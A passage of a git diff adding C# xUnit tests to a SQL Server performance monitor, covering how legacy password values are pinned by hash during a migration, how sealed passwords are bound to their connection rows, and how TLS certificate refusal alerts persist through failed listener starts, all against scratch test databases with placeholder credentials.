+        Assert.DoesNotContain("legacy_secret_pin_candidate", viewer[armProseStart..thisArm], StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task AStoreAt165_CapturesItsValues_ADoneStoreNone()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to run the legacy pin candidate rung's live pin (it mints its own scratch database).");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            /* A store at 165: the record is not there yet. */
+            await ExecAsync(connection, "DELETE FROM darling_schema_version WHERE version >= " + LegacyPinCandidateTables.RungVersion, ct);
+            await ExecAsync(connection, "DROP TABLE config.legacy_secret_pin_candidate", ct);
+            await ExecAsync(connection, @"
+INSERT INTO config.config_monitored_servers (server_id, name, host, database, auth, username, encrypted_password, remediation_username, remediation_encrypted_password, port)
+VALUES (1, 'alpha-example', 'alpha-example', '', 'sql', 'monitor_login', 'legacy-server-blob', 'fix_login', 'legacy-remediation-blob', 1433),
+       (2, 'beta-example', 'beta-example', NULL, 'sql', 'monitor_login', 'sealed:v1:0123456789abcdef:AAAA', NULL, NULL, 1433),
+       (3, 'gamma-example', 'gamma-example', NULL, 'sql', 'monitor_login', 'env:EXAMPLE_PASSWORD', NULL, NULL, 1433),
+       (4, 'delta-example', 'delta-example', NULL, 'sql', 'monitor_login', '', NULL, NULL, 1433);
+INSERT INTO config.config_notification (id, smtp_host, smtp_port, smtp_use_ssl, smtp_username, smtp_encrypted_password)
+VALUES (1, 'smtp.example.com', 587, TRUE, 'mail_login', 'legacy-smtp-blob')
+ON CONFLICT (id) DO UPDATE SET smtp_host = EXCLUDED.smtp_host, smtp_port = EXCLUDED.smtp_port, smtp_use_ssl = EXCLUDED.smtp_use_ssl,
+    smtp_username = EXCLUDED.smtp_username, smtp_encrypted_password = EXCLUDED.smtp_encrypted_password;", ct);
+            Assert.Equal("pending", await ScalarAsync(connection, "SELECT state FROM config.legacy_secret_pin_marker", ct));
+
+            await PgMigrations.MigrateAsync(connection, ct);
+
+            Assert.Equal(StorageVersion.SchemaVersion, Convert.ToInt32(await ScalarAsync(connection, "SELECT MAX(version) FROM darling_schema_version", ct)));
+            Assert.Equal(3L, await ScalarAsync(connection, "SELECT count(*) FROM config.legacy_secret_pin_candidate", ct));
+            Assert.Equal(10L, await ScalarAsync(connection,
+                "SELECT count(*) FROM pg_trigger t JOIN pg_proc p ON p.oid = t.tgfoid WHERE NOT t.tgisinternal AND p.proname = 'password_key_owner_only'", ct));
+
+            /* The hash is the SHA-256 of the stored text, as C# takes it; the text is not in the table. */
+            Assert.Equal(Convert.ToHexString(SHA256.HashData(Encoding.UTF8.GetBytes("legacy-server-blob"))),
+                Convert.ToHexString((byte[])(await ScalarAsync(connection, "SELECT value_sha256 FROM config.legacy_secret_pin_candidate WHERE server_id = 1 AND slot = 'server'", ct))!));
+            Assert.Equal(Convert.ToHexString(SHA256.HashData(Encoding.UTF8.GetBytes("legacy-remediation-blob"))),
+                Convert.ToHexString((byte[])(await ScalarAsync(connection, "SELECT value_sha256 FROM config.legacy_secret_pin_candidate WHERE server_id = 1 AND slot = 'remediation'", ct))!));
+            Assert.Equal(Convert.ToHexString(SHA256.HashData(Encoding.UTF8.GetBytes("legacy-smtp-blob"))),
+                Convert.ToHexString((byte[])(await ScalarAsync(connection, "SELECT value_sha256 FROM config.legacy_secret_pin_candidate WHERE server_id = 0 AND slot = 'smtp'", ct))!));
+
+            /* The connection columns are copied as the rows hold them. */
+            Assert.Equal("alpha-example", await ScalarAsync(connection, "SELECT host FROM config.legacy_secret_pin_candidate WHERE server_id = 1 AND slot = 'server'", ct));
+            Assert.Equal("fix_login", await ScalarAsync(connection, "SELECT remediation_username FROM config.legacy_secret_pin_candidate WHERE server_id = 1 AND slot = 'remediation'", ct));
+            Assert.Equal("mail_login", await ScalarAsync(connection, "SELECT username FROM config.legacy_secret_pin_candidate WHERE server_id = 0 AND slot = 'smtp'", ct));
+            Assert.Equal(0L, await ScalarAsync(connection, "SELECT count(*) FROM config.legacy_secret_pin_candidate WHERE server_id IN (2, 3, 4)", ct));
+
+            /* A store whose step is done records nothing. */
+            await ExecAsync(connection, "DELETE FROM darling_schema_version WHERE version >= " + LegacyPinCandidateTables.RungVersion, ct);
+            await ExecAsync(connection, "DROP TABLE config.legacy_secret_pin_candidate", ct);
+            await ExecAsync(connection, "UPDATE config.legacy_secret_pin_marker SET state = 'done'", ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+            Assert.Equal(0L, await ScalarAsync(connection, "SELECT count(*) FROM config.legacy_secret_pin_candidate", ct));
+
+            /* A store whose step was set aside (marker skipped) records nothing either. */
+            await ExecAsync(connection, "DELETE FROM darling_schema_version WHERE version >= " + LegacyPinCandidateTables.RungVersion, ct);
+            await ExecAsync(connection, "DROP TABLE config.legacy_secret_pin_candidate", ct);
+            await ExecAsync(connection, "UPDATE config.legacy_secret_pin_marker SET state = 'skipped'", ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+            Assert.Equal(0L, await ScalarAsync(connection, "SELECT count(*) FROM config.legacy_secret_pin_candidate", ct));
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    private static async Task ExecAsync(NpgsqlConnection connection, string sql, System.Threading.CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<object?> ScalarAsync(NpgsqlConnection connection, string sql, System.Threading.CancellationToken ct)
+    {
+        await using var command = new NpgsqlCommand(sql, connection);
+        return await command.ExecuteScalarAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/LegacyPinResolverLiveTests.cs b/Darling/Darling.Tests/LegacyPinResolverLiveTests.cs
new file mode 100644
index 0000000000..de598f3d8c
--- /dev/null
+++ b/Darling/Darling.Tests/LegacyPinResolverLiveTests.cs
@@ -0,0 +1,162 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Security.Cryptography;
+using System.Text;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: each fact mints its own scratch database through ScratchPostgres and never touches another one. */
+
+/// <summary>
+/// The service reads the pins taken at upgrade from <c>config.legacy_secret_pin</c> with the config, and opens a saved
+/// password against the row it reads (#5366): an old-format value opens while the row still matches its pin, and a row that
+/// the store owner changed directly (a new host, or another value) is refused. A sealed value opens only for the connection
+/// in the row it is read from.
+/// </summary>
+public sealed class LegacyPinResolverLiveTests
+{
+    private const string Plain = "p@ss-not-real";
+    private const int ServerId = 5366001;
+
+    private static async Task ExecAsync(NpgsqlDataSource source, string sql, CancellationToken ct, params (string Name, NpgsqlDbType Type, object Value)[] parameters)
+    {
+        await using var command = source.CreateCommand(sql);
+        foreach (var (name, type, value) in parameters)
+        {
+            command.Parameters.Add(new NpgsqlParameter(name, type) { Value = value });
+        }
+
+        await command.ExecuteNonQueryAsync(ct);
+    }
+
+    private static async Task<MonitoredServer> ReadAlphaAsync(NpgsqlDataSource owner, CancellationToken ct)
+    {
+        await using var connection = await owner.OpenConnectionAsync(ct);
+        var servers = await StoreConfigProvider.ReadMonitoredServersAsync(connection, new DarlingConfig(), ct);
+        return servers.Single(s => s.Name == "alpha");
+    }
+
+    private static Task InsertServerAsync(NpgsqlDataSource owner, string stored, CancellationToken ct) => ExecAsync(
+        owner,
+        "INSERT INTO config_monitored_servers (server_id, name, host, auth, username, encrypted_password) " +
+        $"VALUES ({ServerId}, 'alpha', 'alpha-host.example.test', 'sql', 'monitor', @stored)",
+        ct,
+        ("stored", NpgsqlDbType.Text, stored));
+
+    [Fact]
+    public async Task AnOldFormatPasswordOpensWhileItsRowMatchesItsPinAndIsRefusedOnceTheOwnerChangesTheHost()
+    {
+        Assert.SkipUnless(OperatingSystem.IsWindows(), "Old-format values are Windows DPAPI values.");
+        var ct = TestContext.Current.CancellationToken;
+        var stored = DarlingSecrets.Protect(Plain);
+        var (scratchStore, owner, _) = await ServerAddViewerRoleLiveTests.OpenAsync(ct);
+        await using var scratchHolder = scratchStore;
+        await using var ownerHolder = owner;
+        await InsertServerAsync(owner, stored, ct);
+        var ring = DarlingPasswordKey.Refusing(DarlingPasswordKey.NotReadyReason);
+
+        /* No pin: refused, and nothing reads the value. */
+        var unpinned = await ReadAlphaAsync(owner, ct);
+        var refused = Assert.Throws<InvalidOperationException>(() => DarlingSecrets.ResolvePassword(unpinned, out _, ring));
+        Assert.Contains("is in the old format", refused.Message, StringComparison.Ordinal);
+
+        /* The pin the upgrade writes: the value's hash and the hash of the connection as the row holds it. */
+        await ExecAsync(
+            owner,
+            "INSERT INTO config.legacy_secret_pin (server_id, slot, value_sha256, binding_sha256) VALUES (@id, 'server', @value, @binding)",
+            ct,
+            ("id", NpgsqlDbType.Integer, ServerId),
+            ("value", NpgsqlDbType.Bytea, SHA256.HashData(Encoding.UTF8.GetBytes(stored))),
+            ("binding", NpgsqlDbType.Bytea, unpinned.SecretBinding.LegacyPinHash()));
+
+        var pinned = await ReadAlphaAsync(owner, ct);
+        Assert.NotNull(pinned.SecretPin);
+        Assert.Equal(Plain, DarlingSecrets.ResolvePassword(pinned, out _, ring));
+
+        /* A direct change of the host by the owner: the pin no longer matches the row. */
+        await ExecAsync(owner, $"UPDATE config_monitored_servers SET host = 'moved-host.example.test' WHERE server_id = {ServerId}", ct);
+        var moved = await ReadAlphaAsync(owner, ct);
+        Assert.Throws<InvalidOperationException>(() => DarlingSecrets.ResolvePassword(moved, out _, ring));
+
+        /* Back at the pinned host the pin matches again; a different stored value does not match the pin. */
+        await ExecAsync(owner, $"UPDATE config_monitored_servers SET host = 'alpha-host.example.test' WHERE server_id = {ServerId}", ct);
+        Assert.Equal(Plain, DarlingSecrets.ResolvePassword(await ReadAlphaAsync(owner, ct), out _, ring));
+        await ExecAsync(
+            owner,
+            $"UPDATE config_monitored_servers SET encrypted_password = @other WHERE server_id = {ServerId}",
+            ct,
+            ("other", NpgsqlDbType.Text, DarlingSecrets.Protect("another-p@ss-not-real")));
+        var changed = await ReadAlphaAsync(owner, ct);
+        Assert.Throws<InvalidOperationException>(() => DarlingSecrets.ResolvePassword(changed, out _, ring));
+    }
+
+    [Fact]
+    public async Task ASealedPasswordOpensForTheRowItWasSavedForAndNotForARowTheOwnerMoved()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        using var key = PasswordPrivateKey.Generate();
+        var ring = DarlingPasswordKey.FromPrivateKey(key);
+        var (scratchStore, owner, _) = await ServerAddViewerRoleLiveTests.OpenAsync(ct);
+        await using var scratchHolder = scratchStore;
+        await using var ownerHolder = owner;
+        await InsertServerAsync(owner, "placeholder", ct);
+
+        var row = await ReadAlphaAsync(owner, ct);
+        var sealedText = PasswordSeal.Seal(Plain, key.PublicKey, row.SecretBinding);
+        await ExecAsync(
+            owner,
+            $"UPDATE config_monitored_servers SET encrypted_password = @sealed WHERE server_id = {ServerId}",
+            ct,
+            ("sealed", NpgsqlDbType.Text, sealedText));
+
+        Assert.Equal(Plain, DarlingSecrets.ResolvePassword(await ReadAlphaAsync(owner, ct), out _, ring));
+
+        await ExecAsync(owner, $"UPDATE config_monitored_servers SET host = 'moved-host.example.test' WHERE server_id = {ServerId}", ct);
+        var movedRow = await ReadAlphaAsync(owner, ct);
+        var refused = Assert.Throws<InvalidOperationException>(() => DarlingSecrets.ResolvePassword(movedRow, out _, ring));
+        Assert.Contains("saved for a different connection, or was changed", refused.Message, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task ThePinTableReadReturnsEverySlotIncludingSmtp()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (scratchStore, owner, _) = await ServerAddViewerRoleLiveTests.OpenAsync(ct);
+        await using var scratchHolder = scratchStore;
+        await using var ownerHolder = owner;
+        foreach (var (id, slot) in new[] { (ServerId, "server"), (ServerId, "remediation"), (0, "smtp") })
+        {
+            await ExecAsync(
+                owner,
+                "INSERT INTO config.legacy_secret_pin (server_id, slot, value_sha256, binding_sha256) VALUES (@id, @slot, @value, @binding)",
+                ct,
+                ("id", NpgsqlDbType.Integer, id),
+                ("slot", NpgsqlDbType.Text, slot),
+                ("value", NpgsqlDbType.Bytea, new byte[] { 1 }),
+                ("binding", NpgsqlDbType.Bytea, new byte[] { 2 }));
+        }
+
+        await using var connection = await owner.OpenConnectionAsync(ct);
+        var pins = await StoreConfigProvider.ReadLegacyPinsAsync(connection, ct);
+
+        Assert.Equal(3, pins.Count);
+        Assert.True(pins.ContainsKey((0, "smtp")));
+        Assert.True(pins.ContainsKey((ServerId, "remediation")));
+        Assert.Equal(new byte[] { 1 }, pins[(ServerId, "server")].ValueSha256);
+    }
+}
diff --git a/Darling/Darling.Tests/ListenerTlsFailedStartTests.cs b/Darling/Darling.Tests/ListenerTlsFailedStartTests.cs
new file mode 100644
index 0000000000..89adb134fa
--- /dev/null
+++ b/Darling/Darling.Tests/ListenerTlsFailedStartTests.cs
@@ -0,0 +1,431 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Hosting;
+using Microsoft.Extensions.Logging.Abstractions;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Notifications;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5288: a start that fails after its certificate was adopted (the port is in use, the store credential is not
+/// ready) withdraws the facts of a certificate that was usable, as it always did, but KEEPS a refusal or an expired
+/// certificate. The listener is loopback-only on that verdict whether or not the start went on to fail, and a cleared
+/// state reads to the worker as the healthy "no certificate to watch", which would resolve the Critical alert about a
+/// listener that is still unreachable. Driven through each host's real <c>DisposeFailedStartAsync</c>, the state class,
+/// the worker's report builder and the evaluator's own sweep, so the alert is read the way production reads it.
+///
+/// <para>In the <c>darling-config-env</c> collection because the supervisor tests set the process-wide
+/// <c>DARLING_CONFIG</c> the hosts read their config through.</para>
+/// </summary>
+[Collection("darling-config-env")]
+public sealed class ListenerTlsFailedStartTests
+{
+    private static CancellationToken Ct => TestContext.Current.CancellationToken;
+
+    public enum Listener
+    {
+        Mcp,
+        Web,
+    }
+
+    public enum Verdict
+    {
+        ExpiredCertificate,
+        NotYetValidRefusal,
+        LoadRefusal,
+    }
+
+    /// <summary>One listener's host over its own state: the state it publishes to, the host's real failed-start
+    /// cleanup, and the evaluator arm that listener's alert runs through.</summary>
+    private sealed record Rig(
+        ListenerTlsCertificateState State,
+        Func<Task> FailedStart,
+        Func<DarlingSelfAlertEvaluator, DarlingSelfAlertEvaluator.WebTlsCertReport, Task> Sweep);
+
+    private static Rig RigFor(Listener listener)
+    {
+        if (listener == Listener.Mcp)
+        {
+            var mcpState = new McpTlsCertificateState();
+            var mcp = new DarlingMcpHostService(
+                NullLogger<DarlingMcpHostService>.Instance, new McpRuntimeState(), new MonitoredServerRegistryState(),
+                mcpTlsCertState: mcpState);
+            return new Rig(mcpState, mcp.DisposeFailedStartAsync, (e, report) => e.ApplyMcpTlsCertificateAsync(report, Ct));
+        }
+
+        var webState = new WebTlsCertificateState();
+        var web = new DarlingWebHostService(
+            NullLogger<DarlingWebHostService>.Instance, new WebRuntimeState(), new CollectorRuntimeState(), webState);
+        return new Rig(webState, web.DisposeFailedStartAsync, (e, report) => e.ApplyWebTlsCertificateAsync(report, Ct));
+    }
+
+    /// <summary>Publishes the verdict the way the host does at load: the lifetime refusals through
+    /// <see cref="ListenerTlsCertificateState.Publish"/>, the load refusal through its own method.</summary>
+    private static void PublishVerdict(ListenerTlsCertificateState state, Verdict verdict, DateTime nowUtc)
+    {
+        var now = new DateTimeOffset(nowUtc, TimeSpan.Zero);
+        switch (verdict)
+        {
+            case Verdict.ExpiredCertificate:
+                state.Publish(now.AddDays(-400), now.AddDays(-2), "CN=Darling Test", "EXPIRED0123", refusedNotYetValid: false);
+                break;
+            case Verdict.NotYetValidRefusal:
+                state.Publish(now.AddDays(3), now.AddDays(368), "CN=Darling Test", "FUTURE0123", refusedNotYetValid: true);
+                break;
+            default:
+                state.PublishLoadRefusal("the certificate password is incorrect");
+                break;
+        }
+    }
+
+    private static void PublishUsableCertificate(ListenerTlsCertificateState state, DateTime nowUtc, int daysLeft)
+    {
+        var now = new DateTimeOffset(nowUtc, TimeSpan.Zero);
+        state.Publish(now.AddDays(-30), now.AddDays(daysLeft), "CN=Darling Test", "USABLE0123", refusedNotYetValid: false);
+    }
+
+    /// <summary>
+    /// The alert a refusal raised stays open through a failed start: the snapshot is still published afterwards, the
+    /// next sweep past the daily re-state restates the alert, and no resolution is ever recorded. A failed start that
+    /// cleared it would let the worker read "no certificate to watch" and resolve the alert while the listener is
+    /// still loopback-only.
+    /// </summary>
+    [Theory]
+    [InlineData(Listener.Mcp, Verdict.ExpiredCertificate)]
+    [InlineData(Listener.Mcp, Verdict.NotYetValidRefusal)]
+    [InlineData(Listener.Mcp, Verdict.LoadRefusal)]
+    [InlineData(Listener.Web, Verdict.ExpiredCertificate)]
+    [InlineData(Listener.Web, Verdict.NotYetValidRefusal)]
+    [InlineData(Listener.Web, Verdict.LoadRefusal)]
+    public async Task ARefusalAlert_StaysOpenThroughAFailedStart(Listener listener, Verdict verdict)
+    {
+        var rig = RigFor(listener);
+        var h = new DarlingSelfAlertTests.Harness { Now = DateTime.UtcNow };
+        var e = h.Build();
+
+        PublishVerdict(rig.State, verdict, h.Now);
+        var published = rig.State.Read();
+        Assert.NotNull(published);
+
+        await rig.Sweep(e, DarlingWorker.BuildWebTlsCertReport(rig.State.Read()));
+        var raised = Assert.Single(h.Deliverer.Outcomes);
+        Assert.Equal(AlertSeverityLevel.Critical, raised.Severity);
+        Assert.Empty(h.History.Records);
+
+        await rig.FailedStart();
+
+        Assert.Same(published, rig.State.Read());
+
+        h.Now = h.Now.Add(DarlingSelfAlertEvaluator.WebTlsCertRefire).AddMinutes(1);
+        await rig.Sweep(e, DarlingWorker.BuildWebTlsCertReport(rig.State.Read()));
+
+        Assert.Equal(2, h.Deliverer.Outcomes.Count);
+        Assert.Equal(AlertSeverityLevel.Critical, h.Deliverer.Outcomes[1].Severity);
+        Assert.Empty(h.History.Records);
+    }
+
+    /// <summary>
+    /// A certificate that was usable is still withdrawn by a failed start: it was never served, and nothing about it
+    /// is wrong, so the worker stops alerting on it. Covers a far-out expiry and one inside the warning window.
+    /// </summary>
+    [Theory]
+    [InlineData(Listener.Mcp, 400)]
+    [InlineData(Listener.Mcp, 10)]
+    [InlineData(Listener.Web, 400)]
+    [InlineData(Listener.Web, 10)]
+    public async Task AFailedStart_StillWithdrawsAUsableCertificate(Listener listener, int daysLeft)
+    {
+        var rig = RigFor(listener);
+        PublishUsableCertificate(rig.State, DateTime.UtcNow, daysLeft);
+        Assert.NotNull(rig.State.Read());
+
+        await rig.FailedStart();
+
+        Assert.Null(rig.State.Read());
+    }
+
+    [Theory]
+    [InlineData(Listener.Mcp)]
+    [InlineData(Listener.Web)]
+    public async Task AFailedStart_WithNothingPublished_LeavesNothingPublished(Listener listener)
+    {
+        var rig = RigFor(listener);
+
+        await rig.FailedStart();
+
+        Assert.Null(rig.State.Read());
+    }
+
+    /// <summary>
+    /// Only a successful load replaces a kept verdict: the next start's publish takes its place, and a failed start
+    /// after that one treats the new snapshot by its own kind.
+    /// </summary>
+    [Theory]
+    [InlineData(Listener.Mcp, Verdict.ExpiredCertificate)]
+    [InlineData(Listener.Mcp, Verdict.LoadRefusal)]
+    [InlineData(Listener.Web, Verdict.NotYetValidRefusal)]
+    [InlineData(Listener.Web, Verdict.LoadRefusal)]
+    public async Task AKeptVerdict_IsReplacedByTheNextLoad(Listener listener, Verdict verdict)
+    {
+        var rig = RigFor(listener);
+        var now = DateTime.UtcNow;
+        PublishVerdict(rig.State, verdict, now);
+        await rig.FailedStart();
+        Assert.NotNull(rig.State.Read());
+
+        PublishUsableCertificate(rig.State, now, daysLeft: 400);
+        var report = DarlingWorker.BuildWebTlsCertReport(rig.State.Read());
+        Assert.Equal("USABLE0123", report.Thumbprint);
+        Assert.False(report.RefusedNotYetValid);
+        Assert.Null(report.LoadRefusal);
+
+        await rig.FailedStart();
+
+        Assert.Null(rig.State.Read());
+    }
+
+    /// <summary>
+    /// The expired test is the worker's own, applied to the clock the caller passes: a NotAfter at or before it is
+    /// expired (kept), one tick past it is still valid (withdrawn).
+    /// </summary>
+    [Fact]
+    public void ClearUnlessRefusal_ReadsANotAfterAtOrBeforeNow_AsExpired()
+    {
+        var now = new DateTimeOffset(2026, 7, 1, 12, 0, 0, TimeSpan.Zero);
+
+        var atNow = new McpTlsCertificateState();
+        atNow.Publish(now.AddDays(-30), now, "CN=x", "THUMB", refusedNotYetValid: false);
+        atNow.ClearUnlessRefusal(now);
+        Assert.NotNull(atNow.Read());
+
+        var justAfter = new McpTlsCertificateState();
+        justAfter.Publish(now.AddDays(-30), now.AddTicks(1), "CN=x", "THUMB", refusedNotYetValid: false);
+        justAfter.ClearUnlessRefusal(now);
+        Assert.Null(justAfter.Read());
+    }
+
+    /// <summary>The stop path is unchanged: a runtime disable clears whatever is published, a refusal included.</summary>
+    [Fact]
+    public void Clear_StillWithdrawsARefusal_ForAStop()
+    {
+        var state = new McpTlsCertificateState();
+        state.PublishLoadRefusal("the certificate password is incorrect");
+
+        state.Clear();
+
+        Assert.Null(state.Read());
+    }
+
+    /// <summary>
+    /// A kept verdict does not outlive a runtime disable that comes after the failed start. The supervisor has no app to
+    /// stop for a listener that is not running, so its disabled arm releases the certificate state the way a stop does,
+    /// and the next sweep resolves the alert. Driven through each host's real supervisor loop (its first tick runs
+    /// before <c>StartAsync</c> returns), the failed-start cleanup and the evaluator's own sweep.
+    /// </summary>
+    [Theory]
+    [InlineData(Listener.Mcp, Verdict.ExpiredCertificate)]
+    [InlineData(Listener.Mcp, Verdict.NotYetValidRefusal)]
+    [InlineData(Listener.Mcp, Verdict.LoadRefusal)]
+    [InlineData(Listener.Web, Verdict.ExpiredCertificate)]
+    [InlineData(Listener.Web, Verdict.NotYetValidRefusal)]
+    [InlineData(Listener.Web, Verdict.LoadRefusal)]
+    public async Task ARuntimeDisable_AfterAFailedStart_ReleasesTheKeptVerdict_AndTheAlertResolves(Listener listener, Verdict verdict)
+    {
+        var (rig, host) = SupervisedRigFor(listener);
+        using var config = new ConfigEnvScope(listener == Listener.Mcp
+            ? "{ \"mcp\": { \"enabled\": false } }"
+            : "{ \"web\": { \"enabled\": false } }");
+        var h = new DarlingSelfAlertTests.Harness { Now = DateTime.UtcNow };
+        var e = h.Build();
+
+        PublishVerdict(rig.State, verdict, h.Now);
+        await rig.Sweep(e, DarlingWorker.BuildWebTlsCertReport(rig.State.Read()));
+        Assert.Single(h.Deliverer.Outcomes);
+        await rig.FailedStart();
+        Assert.NotNull(rig.State.Read());
+        Assert.Empty(h.History.Records);
+
+        try
+        {
+            await host.StartAsync(Ct);
+            Assert.True(
+                await WaitUntilAsync(() => rig.State.Read() is null, TimeSpan.FromSeconds(10)),
+                "the disabled listener's kept verdict was never released");
+
+            await rig.Sweep(e, DarlingWorker.BuildWebTlsCertReport(rig.State.Read()));
+            var resolution = Assert.Single(h.History.Records);
+            Assert.Equal(
+                listener == Listener.Mcp
+                    ? DarlingSelfAlertEvaluator.McpTlsCertRenewedMetric
+                    : DarlingSelfAlertEvaluator.WebTlsCertRenewedMetric,
+                resolution.MetricName);
+        }
+        finally
+        {
+            await host.StopAsync(CancellationToken.None);
+            host.Dispose();
+        }
+    }
+
+    /// <summary>
+    /// The release runs once per transition to disabled, not on every poll tick: the first tick that finds the listener
+    /// disabled and not running releases, a steady disabled listener does not release again, a running listener is left
+    /// to the stop the supervisor already runs for it, and an enabled one releases nothing.
+    /// </summary>
+    [Theory]
+    [InlineData(false, false, null, true)]
+    [InlineData(false, false, true, true)]
+    [InlineData(false, false, false, false)]
+    [InlineData(true, false, true, false)]
+    [InlineData(true, false, false, false)]
+    [InlineData(true, false, null, false)]
+    [InlineData(false, true, null, false)]
+    [InlineData(false, true, false, false)]
+    [InlineData(false, true, true, false)]
+    [InlineData(true, true, true, false)]
+    public void ReleasesWhenDisabled_CoversTheWholeTable(bool running, bool enabled, bool? lastEnabled, bool expected)
+    {
+        Assert.Equal(expected, ListenerTlsCertificateState.ReleasesWhenDisabled(running, enabled, lastEnabled));
+    }
+
+    /// <summary>
+    /// Over a run of ticks the release fires at each transition into disabled and nowhere else: a failed start's tick
+    /// (enabled), the disable, a steady disabled stretch, a re-enable and a second disable make two releases. A running
+    /// listener that is disabled is stopped by the supervisor, and the ticks after that stop do not release again.
+    /// </summary>
+    [Fact]
+    public void ReleasesWhenDisabled_OverATickRun_FiresOncePerTransitionToDisabled()
+    {
+        var releases = new System.Collections.Generic.List<int>();
+        bool? lastEnabled = null;
+        var ticks = new (bool Running, bool Enabled)[]
+        {
+            (false, true),    // 0: a start attempt that failed
+            (false, false),   // 1: the runtime disable: release
+            (false, false),   // 2: steady disabled
+            (false, false),   // 3: steady disabled
+            (false, true),    // 4: enabled again
+            (false, false),   // 5: disabled again: release
+            (false, false),   // 6: steady disabled
+            (true, true),     // 7: running
+            (true, false),    // 8: disabled while running: the stop releases, not this arm
+            (false, false),   // 9: the tick after that stop
+            (false, false),   // 10: steady disabled
+        };
+
+        for (var i = 0; i < ticks.Length; i++)
+        {
+            if (ListenerTlsCertificateState.ReleasesWhenDisabled(ticks[i].Running, ticks[i].Enabled, lastEnabled))
+            {
+                releases.Add(i);
+            }
+
+            lastEnabled = ticks[i].Enabled;
+        }
+
+        Assert.Equal(new[] { 1, 5 }, releases);
+    }
+
+    /// <summary>
+    /// A failed start keeps a refusal or expired verdict published; the stop that follows with no app running releases
+    /// it, on the web host the way the MCP host's stop does (the stop's early return for "no app" releases the
+    /// certificate state too). The stop is the host's own private method, driven directly: the public StopAsync only
+    /// calls it while an app exists.
+    /// </summary>
+    [Theory]
+    [InlineData(Listener.Mcp, Verdict.ExpiredCertificate)]
+    [InlineData(Listener.Mcp, Verdict.LoadRefusal)]
+    [InlineData(Listener.Web, Verdict.ExpiredCertificate)]
+    [InlineData(Listener.Web, Verdict.NotYetValidRefusal)]
+    [InlineData(Listener.Web, Verdict.LoadRefusal)]
+    public async Task AFailedStart_ThenAStop_ReleasesTheKeptVerdict(Listener listener, Verdict verdict)
+    {
+        var (rig, host) = SupervisedRigFor(listener);
+        PublishVerdict(rig.State, verdict, DateTime.UtcNow);
+
+        await rig.FailedStart();
+        Assert.NotNull(rig.State.Read());
+
+        var stop = host.GetType().GetMethod("StopServerAsync", System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic)!;
+        await (Task)stop.Invoke(host, [Ct])!;
+
+        Assert.Null(rig.State.Read());
+    }
+
+    private static (Rig Rig, BackgroundService Host) SupervisedRigFor(Listener listener)
+    {
+        if (listener == Listener.Mcp)
+        {
+            var mcpState = new McpTlsCertificateState();
+            var mcp = new DarlingMcpHostService(
+                NullLogger<DarlingMcpHostService>.Instance, new McpRuntimeState(), new MonitoredServerRegistryState(),
+                mcpTlsCertState: mcpState);
+            return (new Rig(mcpState, mcp.DisposeFailedStartAsync, (e, report) => e.ApplyMcpTlsCertificateAsync(report, Ct)), mcp);
+        }
+
+        var webState = new WebTlsCertificateState();
+        var web = new DarlingWebHostService(
+            NullLogger<DarlingWebHostService>.Instance, new WebRuntimeState(), new CollectorRuntimeState(), webState);
+        return (new Rig(webState, web.DisposeFailedStartAsync, (e, report) => e.ApplyWebTlsCertificateAsync(report, Ct)), web);
+    }
+
+    private static async Task<bool> WaitUntilAsync(Func<bool> condition, TimeSpan timeout)
+    {
+        var deadline = DateTime.UtcNow + timeout;
+        while (DateTime.UtcNow < deadline)
+        {
+            if (condition())
+            {
+                return true;
+            }
+
+            await Task.Delay(20, Ct);
+        }
+
+        return condition();
+    }
+
+    /// <summary>A darling.json in a temp directory that <c>DARLING_CONFIG</c> names for the scope's life (the hosts read
+    /// their config through it); the previous value comes back and the directory goes on dispose.</summary>
+    private sealed class ConfigEnvScope : IDisposable
+    {
+        private readonly string _directory;
+        private readonly string? _previous;
+
+        public ConfigEnvScope(string json)
+        {
+            _directory = Path.Combine(Path.GetTempPath(), "darling-tls-disable-" + Guid.NewGuid().ToString("N"));
+            Directory.CreateDirectory(_directory);
+            var path = Path.Combine(_directory, "darling.json");
+            File.WriteAllText(path, json);
+            _previous = Environment.GetEnvironmentVariable("DARLING_CONFIG");
+            Environment.SetEnvironmentVariable("DARLING_CONFIG", path);
+        }
+
+        public void Dispose()
+        {
+            Environment.SetEnvironmentVariable("DARLING_CONFIG", _previous);
+            try
+            {
+                Directory.Delete(_directory, recursive: true);
+            }
+            catch (IOException)
+            {
+                /* best-effort: a temp directory a scanner still holds is cleaned by the OS later */
+            }
+        }
+    }
+}
